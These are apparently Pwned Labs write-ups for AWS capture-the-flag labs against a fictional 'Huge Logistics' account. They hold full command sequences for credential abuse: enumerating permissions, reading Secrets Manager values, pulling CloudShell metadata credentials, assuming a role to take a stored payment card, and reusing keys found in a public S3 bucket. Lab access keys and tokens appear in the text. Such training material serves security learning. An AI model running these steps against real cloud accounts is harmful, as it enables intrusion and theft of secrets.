2023-08-06 05:56:58       5200 LOG-1-TRANSACT.csv
2023-08-06 05:57:05       5200 LOG-10-TRANSACT.csv
2023-08-06 05:58:04       5200 LOG-100-TRANSACT.csv
2023-08-06 05:57:05       5200 LOG-11-TRANSACT.csv
2023-08-06 05:57:06       5200 LOG-12-TRANSACT.csv
2023-08-06 05:57:07       5200 LOG-13-TRANSACT.csv
2023-08-06 05:57:08       5200 LOG-14-TRANSACT.csv
2023-08-06 05:57:08       5200 LOG-15-TRANSACT.csv
2023-08-06 05:57:09       5200 LOG-16-TRANSACT.csv
2023-08-06 05:57:09       5200 LOG-17-TRANSACT.csv
2023-08-06 05:57:10       5200 LOG-18-TRANSACT.csv
< -- snip -->

We copy one of the files and it is a list of transactions as expected by the title of the file

❯ aws --profile pentester s3 cp s3://hl-data-download/LOG-1-TRANSACT.csv .
download: s3://hl-data-download/LOG-1-TRANSACT.csv to ./LOG-1-TRANSACT.csv

❯ head LOG-1-TRANSACT.csv
Bx8w4Pky82Z19,HL-CUST-ORDER-0751,USD,15000,APPROVED
2R8mHt3eZNJQx,HL-CUST-ORDER-8604,USD,15000,APPROVED
Ek0k74vQDhHUd,HL-CUST-ORDER-1962,USD,15000,APPROVED
u2NQYYTBAjG8B,HL-CUST-ORDER-1642,USD,15000,APPROVED
W2RYflhi2BfjF,HL-CUST-ORDER-4037,USD,15000,APPROVED
PubhFWge7qcDU,HL-CUST-ORDER-6051,USD,15000,APPROVED
UhI69Dsk6uhgs,HL-CUST-ORDER-0529,USD,15000,APPROVED
XObtFax8b0t1o,HL-CUST-ORDER-2706,USD,15000,APPROVED
PfA3yd2F8GBVS,HL-CUST-ORDER-4431,USD,15000,APPROVED
JhFJuR3awbxOM,HL-CUST-ORDER-9252,USD,15000,APPROVED

We will use aws-enumerator to see what other permissions that we may have and first we need to set up our credentials and then we will enumerate the services and can see that we have permissions to DynamoDB, SecretsManager and STS.

❯ aws-enumerator cred -aws_region us-east-1 -aws_access_key_id AKIAWHEOTHRFYM6CAHHG -aws_secret_access_key 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
Message:  File .env with AWS credentials were created in current folder

❯ aws-enumerator enum services -all
Message:  Successful APPMESH: 0 / 1
Message:  Successful AMPLIFY: 0 / 1
< -- snip -- >
Message:  Successful EKS: 0 / 1
Message:  Successful DEVICEFARM: 0 / 10
Message:  Successful DYNAMODB: 1 / 5
Message:  Successful ECR: 0 / 2
< -- snip -- >
Message:  Successful S3: 0 / 1
Message:  Successful SECRETSMANAGER: 1 / 2
Message:  Successful SECURITYHUB: 0 / 8
< -- snip -- >
Message:  Successful STS: 2 / 2
Message:  Successful SSM: 0 / 16
< -- snip -- >
Time: 1m3.011993624s
Message:  Enumeration finished

We will dump out the permissions to give us some more details on these permissions and what our next step will be.

❯ aws-enumerator dump -services dynamodb,secretsmanager,sts -filter List

------------------------------------------------------------- DYNAMODB -------------------------------------------------------------


---------------------------------------------------------- SECRETSMANAGER ----------------------------------------------------------

ListSecrets

--------------------------------------------------------------- STS ---------------------------------------------------------------

We can see that we have ListSecrets and we could retrieve this by using the AWS CLI, but we also have the ability to do this using aws-enumerator

❯ aws-enumerator dump -services secretsmanager -filter List -print

---------------------------------------------------------- SECRETSMANAGER ----------------------------------------------------------

ListSecrets
{
        "ListSecrets": {
                "NextToken": null,
                "SecretList": [
                        {
                                "ARN": "arn:aws:secretsmanager:us-east-1:427648302155:secret:employee-database-admin-Bs8G8Z",
                                "CreatedDate": "2023-07-12T18:14:35.74Z",
                                "DeletedDate": null,
                                "Description": "Admin access to MySQL employee database",
                                "KmsKeyId": null,
                                "LastAccessedDate": "2024-07-01T00:00:00Z",
                                "LastChangedDate": "2023-07-12T18:15:38.909Z",
                                "LastRotatedDate": null,
                                "Name": "employee-database-admin",
                                "OwningService": null,
                                "PrimaryRegion": null,
                                "RotationEnabled": false,
                                "RotationLambdaARN": null,
                                "RotationRules": null,
                                "SecretVersionsToStages": {
                                        "41a82b5b-fb44-4ab3-8811-7ea171e9d3c1": [
                                                "AWSCURRENT"
                                        ]
                                },
                                "Tags": []
                        },
                        {
                                "ARN": "arn:aws:secretsmanager:us-east-1:427648302155:secret:employee-database-rpkQvl",
                                "CreatedDate": "2023-07-12T18:15:02.97Z",
                                "DeletedDate": null,
                                "Description": "Access to MySQL employee database",
                                "KmsKeyId": null,
                                "LastAccessedDate": "2024-07-01T00:00:00Z",
                                "LastChangedDate": "2024-07-01T00:25:48.338Z",
                                "LastRotatedDate": "2024-07-01T00:25:48.358Z",
                                "Name": "employee-database",
                                "OwningService": null,
                                "PrimaryRegion": null,
                                "RotationEnabled": true,
                                "RotationLambdaARN": "arn:aws:lambda:us-east-1:427648302155:function:SecretsManagermysql-rotation",
                                "RotationRules": {
                                        "AutomaticallyAfterDays": 7
                                },
                                "SecretVersionsToStages": {
                                        "01b3eb29-9102-46b5-ad2a-b5d48c4d08fa": [
                                                "AWSCURRENT",
                                                "AWSPENDING"
                                        ],
                                        "be9a9249-c1e0-440b-abdd-83f65aa34956": [
                                                "AWSPREVIOUS"
                                        ]
                                },
                                "Tags": []
                        },
                        {
                                "ARN": "arn:aws:secretsmanager:us-east-1:427648302155:secret:ext/cost-optimization-p6WMM4",
                                "CreatedDate": "2023-08-04T21:19:28.466Z",
                                "DeletedDate": null,
                                "Description": "Allow external partner to access cost optimization user and Huge Logistics resources",
                                "KmsKeyId": null,
                                "LastAccessedDate": "2024-07-01T00:00:00Z",
                                "LastChangedDate": "2023-08-06T20:10:16.392Z",
                                "LastRotatedDate": null,
                                "Name": "ext/cost-optimization",
                                "OwningService": null,
                                "PrimaryRegion": null,
                                "RotationEnabled": false,
                                "RotationLambdaARN": null,
                                "RotationRules": null,
                                "SecretVersionsToStages": {
                                        "f7d6ae91-5afd-4a53-93b9-92ee74d8469c": [
                                                "AWSCURRENT"
                                        ]
                                },
                                "Tags": []
                        },
                        {
                                "ARN": "arn:aws:secretsmanager:us-east-1:427648302155:secret:billing/hl-default-payment-xGmMhK",
                                "CreatedDate": "2023-08-04T22:33:39.828Z",
                                "DeletedDate": null,
                                "Description": "Access to the default payment card for Huge Logistics",
                                "KmsKeyId": null,
                                "LastAccessedDate": "2024-07-01T00:00:00Z",
                                "LastChangedDate": "2023-08-04T22:33:39.872Z",
                                "LastRotatedDate": null,
                                "Name": "billing/hl-default-payment",
                                "OwningService": null,
                                "PrimaryRegion": null,
                                "RotationEnabled": false,
                                "RotationLambdaARN": null,
                                "RotationRules": null,
                                "SecretVersionsToStages": {
                                        "f8e592ca-4d8a-4a85-b7fa-7059539192c5": [
                                                "AWSCURRENT"
                                        ]
                                },
                                "Tags": []
                        }
                ],
                "ResultMetadata": {}
        }
}

------------------------------------------------------------------------------------------------------------------------------------

This definitely is a treasure trove of secrets and unfortunately we were only able to access the Cost Optimization secret, but that gives us another set of credentials.

❯ aws --profile pentester secretsmanager get-secret-value --secret-id arn:aws:secretsmanager:us-east-1:427648302155:secret:ext/cost-optimization-p6WMM4
{
    "ARN": "arn:aws:secretsmanager:us-east-1:427648302155:secret:ext/cost-optimization-p6WMM4",
    "Name": "ext/cost-optimization",
    "VersionId": "f7d6ae91-5afd-4a53-93b9-92ee74d8469c",
    "SecretString": "{\"Username\":\"ext-cost-user\",\"Password\":\"K33pOurCostsOptimized!!!!\"}",
    "VersionStages": [
        "AWSCURRENT"
    ],
    "CreatedDate": "2023-08-05T05:19:28.512000+08:00"
}

Using the credentials, we navigate to the AWS Console

We are able to login and are presented with the Console Home page

Getting access to the console is great, but not always that useful as there may be tools that we want to run which would require us to have IAM credentials. There is an excellent article on Hacking the Cloud that talks about exploiting CloudShell via an undocumented endpoint on Port 1338 which is covered in detail here and is the approach that we are going to take.

There are two methods that we can use, with the first being that we use curl to directly query the metadata and the second to used the AWS CLI to get the value.

[cloudshell-user@ip-10-136-55-216 ~]$ TOKEN=$(curl -X PUT localhost:1338/latest/api/token -H "X-aws-ec2-metadata-token-ttl-seconds: 60")
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100    44  100    44    0     0  19172      0 --:--:-- --:--:-- --:--:-- 22000
[cloudshell-user@ip-10-136-55-216 ~]$ curl localhost:1338/latest/meta-data/container/security-credentials -H "X-aws-ec2-metadata-token: $TOKEN"
{
        "Type": "",
        "AccessKeyId": "ASIAWHEOTHRFRPPW5PHS",
        "SecretAccessKey": "Z0AwsMUnA7bfT5Xhc50xRaznM/kJFeOFE0kTNApB",
        "Token": "IQoJb3JpZ2luX2VjELP//////////wEaCXVzLWVhc3QtMSJHMEUCIQCOJRudRxJAo3drEYrASr4Eev3cWQkCW5lmR1qn8t/iOQIgYGGWou7aCU4i7ElB0H/QU+J15aAbDzfAOOr9JXDAizMqkgMIbBAAGgw0Mjc2NDgzMDIxNTUiDGhqhLk/CaEAKL/G5SrvAsocLx4aovd6ojsc7TflGD5u1UW8UHMmJEJpGdii02b3JKe8kWNnREn9yOhUjXKTiMFef/Wpu8LPz4Wmzk3B9hLaATAVhbXtJ6a1vq958H6D+zETM59zEzZTRt9ra6gF8dRMHnX4Uat9AI11x3PhKTu4kIG/pAzDZXFvaYyZiBMad5vLvFBZKYs7siDP//vA+p8tLJ4BUrCAI/APGDkuo81zk1c6CVxf11r5AsusLERFUgjHFjMlttRI+iOOYgxdP0O8gKF4yXgPGJt9zp442toVt9LaSGsqaASn2XuCKDmw3ZHvnG/xNLZldTN5v59CPzel6LWdS8/I+4LJs0xDWo49lkwCbmWCTLHqRPMeWQFvNYYZcxrcOvYt4OLbQSx/kErc0qGIJ1lDp7H3m3k7Alp59+t0ky+UX4vsYdIY9+vvBjfrU6YAJJaUXoEwEGvShzz/yDUF7icLbqPNhLmCEt/CK9OzW1X0snVXkiRy/mww+8GNtAY6swJrUHa05AdMLPTIlGJyXdfMumIhepMk9pxYyB1aq21NSNR3hjJ+Em4GlrqaudxILHUlzfTDLDJIXPDNlmlC91L1/K5BbjS9GFzO1/e2xuDl/qvWVdsNmKV+KFwZw5Ci1lRwYwipKo0LZ84pXX/pB59ijGNtsr4xJ7KThoS7/Z9mwVdIN2or2hJDCfPOxzidQwyGQV4AIIMiXdGbZvuhRKwU1XEsbcFyQmeMG7EKrE8MP3RCEx+q8DrV5Juerk7oLFzCTRV1wHVTSwcYMl2vDcQOqt9xGA4C1qUozNr5AUiFDORYuE3YAWLwkH/D8PaDiMzkoA8Jx5UpVcZlQ+v8oNC4j2/1RToj3wb1rJ+FLg/nZsAXfbBJEqqS9U/ZSMnt0uldxpi2ECvRZmJsr3irEE9gGvG+",
        "Expiration": "2024-07-02T02:49:01Z",
        "Code": "Success"

You will note that the above value has an expiration time of 15 minutes. The other as mentioned before is to export the credentials via the AWS CLI

[cloudshell-user@ip-10-136-55-216 ~]$ aws configure export-credentials --format env
export AWS_ACCESS_KEY_ID=ASIAWHEOTHRFQJJRYWPI
export AWS_SECRET_ACCESS_KEY=7zVzJqZoFplnv1uCV6fBr4NMFwiQ5Ew5/AanAFeL
export AWS_SESSION_TOKEN=IQoJb3JpZ2luX2VjEOn//////////wEaCXVzLWVhc3QtMSJHMEUCIHlZxVAUD7pNtlVy13nfI/05IXzMMa91LEiybUisufPxAiEAuzGNajy4WKFhhMepy52y36oJ9mS3kEM/bGIawq+0e0YqpgIIYhAAGgw0Mjc2NDgzMDIxNTUiDJm5eFl997VflweGXCqDAhUkZ7f5r6xNyE02maL3yvOD8AtRYG4uRDx6knbn4ECLMcagBhZZrDFpguphlnRXR2azlKTA1j4wEGqrJh0t53Hbedm+T89M8QEAeT+qd0tdce9TbLVaj2AetFyo13Ka4n/DgoRzWeHYZI0zuYloTRxQXtPZ8P+O8kvnEjmbxanVeATJ0ZmElxiY53jZlrW3UVRhONUVjdlLudo2DfIuNXBRK8J6+af953FwkO0sd/mb44bcrec4V86hd+M1UgYdXe5mgyrKP3SFWpx1K/8BiKrjVqP7dOUH/70AW4zzIW4l75+4P7Nd7oEo8gRsgSoLv1IP15d2zOEqTEE7Xx8sKqzvXtMwqMa4sgY6nQEoI/iNPYC85Qikra0CZAjAT3M5mTXF1NLA2oND88eL/bG1wtBS8LibtBCOT9Wao3F1j475B4go8ndlvy0nFQnaiVDHs2d8vxVRSo0XeRJP2mINrY+WXABLxOTDxLj2/gPoy1VilE3JeDoiKUAfTmd0FMzUWhxovnJofaEWbpDycuR5TYI16hJJuq9DlVVJTpyISuP799EXRXeK+gfo
[cloudshell-user@ip-10-136-55-216 ~]$

We configure AWS CLI with the above credentials and token

Ignore the differences in the token values above to what is entered below as there was a time delay and had to refresh the values.

❯ aws --profile ext-cost-user configure
AWS Access Key ID [****************YWPI]: ASIAWHEOTHRFRPPW5PHS
AWS Secret Access Key [****************AFeL]: Z0AwsMUnA7bfT5Xhc50xRaznM/kJFeOFE0kTNApB
Default region name [us-east-1]:
Default output format [None]:

❯ aws --profile ext-cost-user configure set aws_session_token "IQoJb3JpZ2luX2VjELP//////////wEaCXVzLWVhc3QtMSJHMEUCIQCOJRudRxJAo3drEYrASr4Eev3cWQkCW5lmR1qn8t/iOQIgYGGWou7aCU4i7ElB0H/QU+J15aAbDzfAOOr9JXDAizMqkgMIbBAAGgw0Mjc2NDgzMDIxNTUiDGhqhLk/CaEAKL/G5SrvAsocLx4aovd6ojsc7TflGD5u1UW8UHMmJEJpGdii02b3JKe8kWNnREn9yOhUjXKTiMFef/Wpu8LPz4Wmzk3B9hLaATAVhbXtJ6a1vq958H6D+zETM59zEzZTRt9ra6gF8dRMHnX4Uat9AI11x3PhKTu4kIG/pAzDZXFvaYyZiBMad5vLvFBZKYs7siDP//vA+p8tLJ4BUrCAI/APGDkuo81zk1c6CVxf11r5AsusLERFUgjHFjMlttRI+iOOYgxdP0O8gKF4yXgPGJt9zp442toVt9LaSGsqaASn2XuCKDmw3ZHvnG/xNLZldTN5v59CPzel6LWdS8/I+4LJs0xDWo49lkwCbmWCTLHqRPMeWQFvNYYZcxrcOvYt4OLbQSx/kErc0qGIJ1lDp7H3m3k7Alp59+t0ky+UX4vsYdIY9+vvBjfrU6YAJJaUXoEwEGvShzz/yDUF7icLbqPNhLmCEt/CK9OzW1X0snVXkiRy/mww+8GNtAY6swJrUHa05AdMLPTIlGJyXdfMumIhepMk9pxYyB1aq21NSNR3hjJ+Em4GlrqaudxILHUlzfTDLDJIXPDNlmlC91L1/K5BbjS9GFzO1/e2xuDl/qvWVdsNmKV+KFwZw5Ci1lRwYwipKo0LZ84pXX/pB59ijGNtsr4xJ7KThoS7/Z9mwVdIN2or2hJDCfPOxzidQwyGQV4AIIMiXdGbZvuhRKwU1XEsbcFyQmeMG7EKrE8MP3RCEx+q8DrV5Juerk7oLFzCTRV1wHVTSwcYMl2vDcQOqt9xGA4C1qUozNr5AUiFDORYuE3YAWLwkH/D8PaDiMzkoA8Jx5UpVcZlQ+v8oNC4j2/1RToj3wb1rJ+FLg/nZsAXfbBJEqqS9U/ZSMnt0uldxpi2ECvRZmJsr3irEE9gGvG+"

❯ aws --profile ext-cost-user sts get-caller-identity
{
    "UserId": "AIDAWHEOTHRFTNCWM7FHT",
    "Account": "427648302155",
    "Arn": "arn:aws:iam::427648302155:user/ext-cost-user"
}

We then enumerate the user to see attached policies and there are two, which are ExtCloudShell and ExtPolicyTest

❯ aws --profile ext-cost-user iam list-attached-user-policies --user-name ext-cost-user
{
    "AttachedPolicies": [
        {
            "PolicyName": "ExtCloudShell",
            "PolicyArn": "arn:aws:iam::427648302155:policy/ExtCloudShell"
        },
        {
            "PolicyName": "ExtPolicyTest",
            "PolicyArn": "arn:aws:iam::427648302155:policy/ExtPolicyTest"
        }
    ]
}

We don’t have access to view ExtCloudShell, but we can view the ExtPolicyTest and we can see that the current version is v4

❯ aws --profile ext-cost-user iam get-policy --policy-arn arn:aws:iam::427648302155:policy/ExtPolicyTest
{
    "Policy": {
        "PolicyName": "ExtPolicyTest",
        "PolicyId": "ANPAWHEOTHRF7772VGA5J",
        "Arn": "arn:aws:iam::427648302155:policy/ExtPolicyTest",
        "Path": "/",
        "DefaultVersionId": "v4",
        "AttachmentCount": 1,
        "PermissionsBoundaryUsageCount": 0,
        "IsAttachable": true,
        "CreateDate": "2023-08-04T21:47:26+00:00",
        "UpdateDate": "2023-08-06T20:23:42+00:00",
        "Tags": []
    }
}

We further enumerate the policy and we can see that there are AWS permissions and can see that there is a role ExternalCostOpimizeAccess as well as a Policy Payment

❯ aws --profile ext-cost-user iam get-policy-version --policy-arn arn:aws:iam::427648302155:policy/ExtPolicyTest --version-id v4
{
    "PolicyVersion": {
        "Document": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Sid": "VisualEditor0",
                    "Effect": "Allow",
                    "Action": [
                        "iam:GetRole",
                        "iam:GetPolicyVersion",
                        "iam:GetPolicy",
                        "iam:GetUserPolicy",
                        "iam:ListAttachedRolePolicies",
                        "iam:ListAttachedUserPolicies",
                        "iam:GetRolePolicy"
                    ],
                    "Resource": [
                        "arn:aws:iam::427648302155:policy/ExtPolicyTest",
                        "arn:aws:iam::427648302155:role/ExternalCostOpimizeAccess",
                        "arn:aws:iam::427648302155:policy/Payment",
                        "arn:aws:iam::427648302155:user/ext-cost-user"
                    ]
                }
            ]
        },
        "VersionId": "v4",
        "IsDefaultVersion": true,
        "CreateDate": "2023-08-06T20:23:42+00:00"
    }
}

We drill down into the role and we can see that our user has the right to AssumeRole and do note that there is a Conditional Requirement of STS for an ExternalId value.

❯ aws --profile ext-cost-user iam get-role --role-name ExternalCostOpimizeAccess
{
    "Role": {
        "Path": "/",
        "RoleName": "ExternalCostOpimizeAccess",
        "RoleId": "AROAWHEOTHRFZP3NQR7WN",
        "Arn": "arn:aws:iam::427648302155:role/ExternalCostOpimizeAccess",
        "CreateDate": "2023-08-04T21:09:30+00:00",
        "AssumeRolePolicyDocument": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Effect": "Allow",
                    "Principal": {
                        "AWS": "arn:aws:iam::427648302155:user/ext-cost-user"
                    },
                    "Action": "sts:AssumeRole",
                    "Condition": {
                        "StringEquals": {
                            "sts:ExternalId": "37911"
                        }
                    }
                }
            ]
        },
        "Description": "Allow trusted AWS cost optimization partner to access Huge Logistics resources",
        "MaxSessionDuration": 3600,
        "RoleLastUsed": {
            "LastUsedDate": "2024-07-01T19:47:18+00:00",
            "Region": "us-east-1"
        }
    }
}

We then enumerate Attached Role Policies for the role and we can see that the Payment policy is attached to the role.

❯ aws --profile ext-cost-user iam list-attached-role-policies --role-name ExternalCostOpimizeAccess
{
    "AttachedPolicies": [
        {
            "PolicyName": "Payment",
            "PolicyArn": "arn:aws:iam::427648302155:policy/Payment"
        }
    ]
}

Looking into the policy we can see that this is at Version v2

❯ aws --profile ext-cost-user iam get-policy --policy-arn arn:aws:iam::427648302155:policy/Payment
{
    "Policy": {
        "PolicyName": "Payment",
        "PolicyId": "ANPAWHEOTHRFZCZIMJSVW",
        "Arn": "arn:aws:iam::427648302155:policy/Payment",
        "Path": "/",
        "DefaultVersionId": "v2",
        "AttachmentCount": 1,
        "PermissionsBoundaryUsageCount": 0,
        "IsAttachable": true,
        "CreateDate": "2023-08-04T22:03:41+00:00",
        "UpdateDate": "2023-08-04T22:34:19+00:00",
        "Tags": []
    }
}

We then list the the Policy and note that this has GetSecretValue for the default payment method for the company.

❯ aws --profile ext-cost-user iam get-policy-version --policy-arn arn:aws:iam::427648302155:policy/Payment --version-id v2
{
    "PolicyVersion": {
        "Document": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Sid": "VisualEditor0",
                    "Effect": "Allow",
                    "Action": [
                        "secretsmanager:GetSecretValue",
                        "secretsmanager:DescribeSecret",
                        "secretsmanager:ListSecretVersionIds"
                    ],
                    "Resource": "arn:aws:secretsmanager:us-east-1:427648302155:secret:billing/hl-default-payment-xGmMhK"
                },
                {
                    "Sid": "VisualEditor1",
                    "Effect": "Allow",
                    "Action": "secretsmanager:ListSecrets",
                    "Resource": "*"
                }
            ]
        },
        "VersionId": "v2",
        "IsDefaultVersion": true,
        "CreateDate": "2023-08-04T22:34:19+00:00"
    }
}

You will recall that our account had permission to AssumeRole and also that there was a conditional requirement to specify an external-id and we are able to successfully assume the role.

❯ aws --profile ext-cost-user sts assume-role --role-arn arn:aws:iam::427648302155:role/ExternalCostOpimizeAccess --role-session-name ExternalCostOptimize --external-id 37911
{
    "Credentials": {
        "AccessKeyId": "ASIAWHEOTHRFT6Q42XPZ",
        "SecretAccessKey": "3uAQuu6OQwB2nIBonsjII0OOpr1Y/SvMZndPHx2N",
        "SessionToken": "IQoJb3JpZ2luX2VjELT//////////wEaCXVzLWVhc3QtMSJIMEYCIQCRC+ftYnLGDEPpmCg71l9kRgXLHejwcvBNR1APAGkoaQIhANnb91D4/U4WVJ7klRdu5HvHhZI8Ofw/9udOq1bLQAJHKqECCGwQABoMNDI3NjQ4MzAyMTU1IgzfI+QVKb022j677bwq/gF8M+Mr/0i2sJQQ5IIwlKBpwdkDjk7CFhKoCxQjbZ3ndJJ5qForX67vnjnj1w/degHbC7WJjwnduAyYoW26ism9Y3bzI2GL+IAHzs2hyvEnOlA9yeg7rjPyQVde7h3rpwsrUfZmTuNy1i0ju6UfDxSOABaidnA+roce1oMTXHxgnFYaUFZqiEC+QQPWEqGa/nnOOFDd8mC03114uU3yaBFBxTWECu1opdufwTuD18RB+AVbRNWEQzyjP70iqik/qQK6kfVTA3gvDaSB2wTfNTaT4d1b2dyEhTxWfkNwIM0TvSWNdEy0tVHFhoIImwxXSWjHvqxRiBuFWXfOwMKiQzDp4Y20BjqcAc1+w2NaVMN7VgvfpfX+L8scc0b7jd2CT72Pddo4SQ0GxDuA83STSORU7Yw6V2btnO7UHZCqNRBfakd8YLFSlqExa4D3K71qF85pmMHmyD8Ra2Vn7hJqXK4pBQ9ipiyH45rQsc5oO3jJDW/HdN3/obUN4zzvVPSaTFz4yrStgUiSRsLvEt+aKBFjRGN7j7QOOzr2KZv63dJwenL+nA==",
        "Expiration": "2024-07-02T04:15:53+00:00"
    },
    "AssumedRoleUser": {
        "AssumedRoleId": "AROAWHEOTHRFZP3NQR7WN:ExternalCostOptimize",
        "Arn": "arn:aws:sts::427648302155:assumed-role/ExternalCostOpimizeAccess/ExternalCostOptimize"
    }
}

We update our configuration with the credentials and session token and then verify that it is functioning correctly.

❯ aws --profile cost-optimize configure
AWS Access Key ID [None]: ASIAWHEOTHRFT6Q42XPZ
AWS Secret Access Key [None]: 3uAQuu6OQwB2nIBonsjII0OOpr1Y/SvMZndPHx2N
Default region name [None]: us-east-1
Default output format [None]:

❯ aws --profile cost-optimize configure set aws_session_token "IQoJb3JpZ2luX2VjELT//////////wEaCXVzLWVhc3QtMSJIMEYCIQCRC+ftYnLGDEPpmCg71l9kRgXLHejwcvBNR1APAGkoaQIhANnb91D4/U4WVJ7klRdu5HvHhZI8Ofw/9udOq1bLQAJHKqECCGwQABoMNDI3NjQ4MzAyMTU1IgzfI+QVKb022j677bwq/gF8M+Mr/0i2sJQQ5IIwlKBpwdkDjk7CFhKoCxQjbZ3ndJJ5qForX67vnjnj1w/degHbC7WJjwnduAyYoW26ism9Y3bzI2GL+IAHzs2hyvEnOlA9yeg7rjPyQVde7h3rpwsrUfZmTuNy1i0ju6UfDxSOABaidnA+roce1oMTXHxgnFYaUFZqiEC+QQPWEqGa/nnOOFDd8mC03114uU3yaBFBxTWECu1opdufwTuD18RB+AVbRNWEQzyjP70iqik/qQK6kfVTA3gvDaSB2wTfNTaT4d1b2dyEhTxWfkNwIM0TvSWNdEy0tVHFhoIImwxXSWjHvqxRiBuFWXfOwMKiQzDp4Y20BjqcAc1+w2NaVMN7VgvfpfX+L8scc0b7jd2CT72Pddo4SQ0GxDuA83STSORU7Yw6V2btnO7UHZCqNRBfakd8YLFSlqExa4D3K71qF85pmMHmyD8Ra2Vn7hJqXK4pBQ9ipiyH45rQsc5oO3jJDW/HdN3/obUN4zzvVPSaTFz4yrStgUiSRsLvEt+aKBFjRGN7j7QOOzr2KZv63dJwenL+nA=="

❯ aws --profile cost-optimize sts get-caller-identity
{
    "UserId": "AROAWHEOTHRFZP3NQR7WN:ExternalCostOptimize",
    "Account": "427648302155",
    "Arn": "arn:aws:sts::427648302155:assumed-role/ExternalCostOpimizeAccess/ExternalCostOptimize"
}

We have successfully assumed the role and been able to retrieve the default payment method.

❯ aws --profile cost-optimize secretsmanager get-secret-value --secret-id billing/hl-default-payment
{
    "ARN": "arn:aws:secretsmanager:us-east-1:427648302155:secret:billing/hl-default-payment-xGmMhK",
    "Name": "billing/hl-default-payment",
    "VersionId": "f8e592ca-4d8a-4a85-b7fa-7059539192c5",
    "SecretString": "{\"Card Brand\":\"VISA\",\"Card Number\":\"4180-5677-2810-4227\",\"Holder Name\":\"Michael Hayes\",\"CVV/CVV2\":\"839\",\"Card Expiry\":\"5/2026\",\"Flag\":\"\"}",
    "VersionStages": [
        "AWSCURRENT"
    ],
    "CreatedDate": "2023-08-05T06:33:39.867000+08:00"
}

PWNED!

Pwned Labs - Execute and Identify Credential Abuse in AWS

Mon, 01 Jul 2024 17:09:25 +0800

Execute and Identify Credential Abuse in AWS

Scenario

During your routine audit for Huge Logistics, you’ve come across an unsecured S3 bucket. Your task for the day: Dive into the bucket’s contents and scrutinize it. If you stumble upon any sensitive data, document them and use them as pivots to understand the broader security posture of Huge Logistics’ cloud environment. Your goal is to determine the risk exposure of this open bucket and gain access to other connected systems.

Learning Outcomes

S3 bucket enumeration
Leveraging tools to automate IAM permissions enumeration
DynamoDB enumeration and data exfiltration
Password hash identification and cracking with Jumbo John
Use Vim macro to automate data manipulation
Credential stuffing / brute force against AWS console
Detect online brute force attack using CloudTrail
Detect compromised IAM user using Amazon Athena
Gain an understanding of how this attack chain could have been prevented

Real World Context

Password reuse and credential stuffing attacks are prevalent security issues in both on-premise and cloud settings. Many users recycle passwords across platforms, making them vulnerable if one service gets breached. Attackers exploit this with credential stuffing, using known username-password combinations to access various services. Additionally, sensitive data is often stored improperly in both environments, with developers and users sometimes placing secrets in non-secure applications or repositories. This underscores the need for better password practices and secure storage methods across all systems.

Entry Point

hl-storage-general

Attack

As we have just the bucket name we will query this with the AWS CLI passing in the --no-sign-request to bypass the signature validation for S3 requests by ensuring that the AWS CLI doesn’t sign the request with our credentials and we can see that there is a file called asana-cloud-migration-backup.json

❯ aws s3 ls s3://hl-storage-general --no-sign-request
                           PRE migration/


❯ aws s3 ls s3://hl-storage-general --recursive --no-sign-request
2023-08-10 04:11:01          0 migration/
2023-08-10 04:11:29     147853 migration/asana-cloud-migration-backup.json

We will download the file and see what it contains.

❯ aws s3 cp s3://hl-storage-general/migration/asana-cloud-migration-backup.json . --no-sign-request
download: s3://hl-storage-general/migration/asana-cloud-migration-backup.json to ./asana-cloud-migration-backup.json

There are 4963 lines in the JSON file and it appears to be referring to a migration, but scanning the file we did notice a notes section which we will grep out and then pipe into VIM running the command cat asana-cloud-migration-backup

We get the data into VIM and will do some formatting to make it more readable

To clean up the data in VIM and improve readability, follow these steps:

Start by entering the command gg0 to move to the beginning of the file.
Next, record a Macro to streamline the formatting. Switch to Normal mode and execute the following sequence of commands:

d3f"  f" d$ j0 q

Explanation of commands:

d3f": Delete from the cursor to the third occurrence of " in the current line.
f": Move the cursor to the next occurrence of ".
d$: Delete from the cursor to the end of the line.
j0: Move the cursor down one line and to the beginning.
q: End recording the Macro.

Once the Macro is recorded, execute it by specifying a numerical value. You can use a large number like 50 with @q to ensure it processes through the entire file, even if the number exceeds the total lines.

Command to execute the Macro:

50@q

This will apply the recorded Macro (@q) 50 times, effectively cleaning up the formatting across the data in the file which is easier to read and we have found an Access and Secret Key which we will configure in the CLI and can see that this belongs to the migration-test account.

❯ aws --profile pentester configure
AWS Access Key ID [None]]: AKIATRPHKUQK4TXINWX4
AWS Secret Access Key [None]: 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
Default region name [None]:
Default output format [None]:

❯ aws --profile pentester sts get-caller-identity
{
    "UserId": "AIDATRPHKUQK2AQGRYR46",
    "Account": "243687662613",
    "Arn": "arn:aws:iam::243687662613:user/migration-test"
}

We will use AWS Enumeratorand the first we need to do is pass in our credentials

❯ aws-enumerator cred -aws_access_key_id AKIATRPHKUQK4TXINWX4 --aws_secret_access_key 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 -aws_region us-east-1
Message:  File .env with AWS credentials were created in current folder

❯ aws-enumerator enum -services all
Message:  Successful APPMESH: 0 / 1
Message:  Successful AMPLIFY: 0 / 1
< -- snip -- > 
Message:  Successful EKS: 0 / 1
Message:  Successful DEVICEFARM: 0 / 10
Message:  Successful DYNAMODB: 5 / 5
Message:  Successful ECR: 0 / 2
Message:  Successful ECS: 0 / 8
Message:  Successful FIREHOSE: 0 / 1
< -- snip -- >

We got a hit on DynamoDB and shall enumerate that further and can see to Tables, analytics_app_users and user_order_logs

❯ aws-enumerator dump -services dynamodb -filter List -print

------------------------------------------------------------- DYNAMODB -------------------------------------------------------------

ListBackups
{
        "ListBackups": {
                "BackupSummaries": [],
                "LastEvaluatedBackupArn": null,
                "ResultMetadata": {}
        }
}

------------------------------------------------------------------------------------------------------------------------------------

ListTables
{
        "ListTables": {
                "LastEvaluatedTableName": null,
                "TableNames": [
                        "analytics_app_users",
                        "user_order_logs"
                ],
                "ResultMetadata": {}
        }
}

------------------------------------------------------------------------------------------------------------------------------------

ListGlobalTables
{
        "ListGlobalTables": {
                "GlobalTables": [],
                "LastEvaluatedGlobalTableName": null,
                "ResultMetadata": {}
        }
}

------------------------------------------------------------------------------------------------------------------------------------

We are unable to describe user_order_logs but we were able to get additional information on analytics_app_users

❯ aws --profile pentester dynamodb describe-table --table analytics_app_users --region us-east-1
{
    "Table": {
        "AttributeDefinitions": [
            {
                "AttributeName": "UserID",
                "AttributeType": "S"
            }
        ],
